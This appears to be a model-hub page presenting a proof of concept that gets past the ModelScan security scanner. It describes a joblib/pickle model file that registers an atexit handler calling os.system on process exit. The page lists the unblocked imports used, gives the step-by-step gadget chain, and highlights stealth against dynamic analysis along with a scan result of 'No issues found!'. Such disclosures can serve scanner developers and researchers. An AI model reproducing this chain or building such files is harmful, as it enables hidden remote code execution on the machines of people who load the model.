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modelscan-atexit-bypass – AI Model by xiaoyaoes | AlphaNeural AI

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xiaoyaoes/
modelscan-atexit-bypass

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ModelScan Atexit Delayed RCE Bypass

Registers an atexit handler that executes os.system when the Python process exits normally.

Bypass GLOBALs

importlib.import_module — NOT blocked
operator.methodcaller — NOT blocked
atexit.register — NOT blocked

Mechanism

Import os via importlib.import_module('os')
Create operator.methodcaller('system', 'COMMAND')
Call atexit.register(methodcaller, os_module)
On script exit: methodcaller(os_module) = os.system('COMMAND') -> RCE

Stealth

The handler is registered but NOT executed immediately. RCE fires when the hosting script terminates naturally, bypassing dynamic analysis.

Verification

bash

modelscan -p exploit_atexit.joblib
# -> "No issues found!"